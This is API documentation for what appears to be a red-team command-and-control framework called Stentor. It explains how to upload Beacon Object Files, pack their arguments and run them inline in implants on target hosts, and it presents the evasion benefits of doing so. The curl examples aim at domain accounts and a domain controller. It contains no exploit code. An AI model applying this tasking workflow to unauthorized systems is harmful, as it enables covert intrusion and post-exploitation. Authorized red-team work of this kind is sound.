Beacon Object Files (BOF)¶

Beacon Object Files are compiled C object files (.o) that execute inline within the beacon's process. Unlike fork-and-run techniques that spawn a sacrificial process, BOFs run directly in the beacon's memory space -- no child process creation, no cross-process injection, and no on-disk artifacts.

Stentor provides a server-side BOF library for storing and managing BOFs, an argument packing utility for binary argument serialization, and an execution API that dispatches BOFs to beacons as tasks.

Architecture¶

sequenceDiagram
    participant Operator as Operator
    participant API as Stentor API
    participant Library as BOF Library (DB)
    participant Queue as Task Queue
    participant Beacon as Beacon

    Note over Operator,Library: BOF Upload (one-time)
    Operator->>API: POST /cockpit/bof/upload (multipart)
    API->>Library: Store BOF binary + metadata
    API-->>Operator: {id, name, size}

    Note over Operator,Beacon: BOF Execution
    Operator->>API: POST /cockpit/bof/execute {bof_id, args}
    API->>Library: Load BOF binary by ID
    API->>Queue: Enqueue "bof" task with base64 data
    API-->>Operator: {task_id, status: "queued"}
    Beacon->>Queue: Poll for tasks
    Queue-->>Beacon: BOF task (bof_data + packed args)
    Beacon->>Beacon: COFF loader: relocate, resolve, execute
    Beacon->>API: Submit task result (BOF output)

BOF Library Management¶

The BOF library stores compiled object files in the database with metadata. Binary data is stored as BYTEA -- the list endpoint returns metadata only (no binary blobs) for efficiency.

Upload a BOF¶

POST /api/v1/cockpit/bof/upload¶

Upload a compiled BOF object file to the library. Uses multipart form encoding.

Form fields:

curl -s -X POST https://stentor.app/api/v1/cockpit/bof/upload \
  -H "Authorization: Bearer $TOKEN" \
  -F "name=whoami" \
  -F "description=BOF implementation of whoami /all" \
  -F "arch=x64" \
  -F "entry_point=go" \
  -F "bof=@/path/to/whoami.x64.o"

Response (201 Created):

{
  "id": "a3b1c2d4-...",
  "name": "whoami",
  "size": 4096
}

List BOFs¶

GET /api/v1/cockpit/bof/list¶

Returns all BOFs in the library. Binary data is excluded -- only metadata and computed size are returned.

curl -s https://stentor.app/api/v1/cockpit/bof/list \
  -H "Authorization: Bearer $TOKEN"

Response fields:

Delete a BOF¶

DELETE /api/v1/cockpit/bof/:id¶

Remove a BOF from the library. This deletes both the metadata and the stored binary data.

curl -s -X DELETE https://stentor.app/api/v1/cockpit/bof/BOF_UUID \
  -H "Authorization: Bearer $TOKEN"

Response (200 OK):

{
  "deleted": "a3b1c2d4-..."
}

BOF Execution¶

POST /api/v1/cockpit/bof/execute¶

Execute a BOF on a target beacon. The BOF can be referenced by library ID or provided as raw base64-encoded bytes.

Request body:

curl -s -X POST https://stentor.app/api/v1/cockpit/bof/execute \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "beacon_id": "BEACON_UUID",
    "bof_id": "BOF_UUID",
    "args": "BASE64_PACKED_ARGS"
  }'

# Base64-encode the BOF file and execute directly
BOF_B64=$(base64 -w0 /path/to/enum_users.x64.o)

curl -s -X POST https://stentor.app/api/v1/cockpit/bof/execute \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d "{
    \"beacon_id\": \"BEACON_UUID\",
    \"bof_data\": \"$BOF_B64\",
    \"entry_point\": \"go\"
  }"

Response (202 Accepted):

{
  "task_id": "e5f6a7b8-...",
  "beacon_id": "BEACON_UUID",
  "status": "queued"
}

The task result is retrieved by polling the beacon's task list until the task status is completed. The task output contains the BOF's printed output (via BeaconPrintf / BeaconOutput).

Argument Packing¶

BOFs receive arguments as a packed binary buffer. The argument packing API serializes typed arguments into the bof_pack binary format used by the beacon's BOF loader.

POST /api/v1/cockpit/bof/pack¶

Pack arguments into base64-encoded binary format for BOF execution.

Request body:

Format specifiers:

Each argument object has:

Example -- pack a string and integer argument:

curl -s -X POST https://stentor.app/api/v1/cockpit/bof/pack \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "format": "zi",
    "arguments": [
      {"type": "z", "value": "CORP\\Administrator"},
      {"type": "i", "value": 1}
    ]
  }'

Response:

{
  "packed": "EgAAAA...",
  "size": 28
}

The packed value is passed directly as the args field in the BOF execution request.

Example -- full workflow (pack then execute):

# Step 1: Pack arguments
PACKED=$(curl -s -X POST https://stentor.app/api/v1/cockpit/bof/pack \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "format": "Zi",
    "arguments": [
      {"type": "Z", "value": "DC01.corp.local"},
      {"type": "i", "value": 389}
    ]
  }' | jq -r '.packed')

# Step 2: Execute BOF with packed arguments
curl -s -X POST https://stentor.app/api/v1/cockpit/bof/execute \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d "{
    \"beacon_id\": \"BEACON_UUID\",
    \"bof_id\": \"BOF_UUID\",
    \"args\": \"$PACKED\"
  }"

OPSEC Considerations¶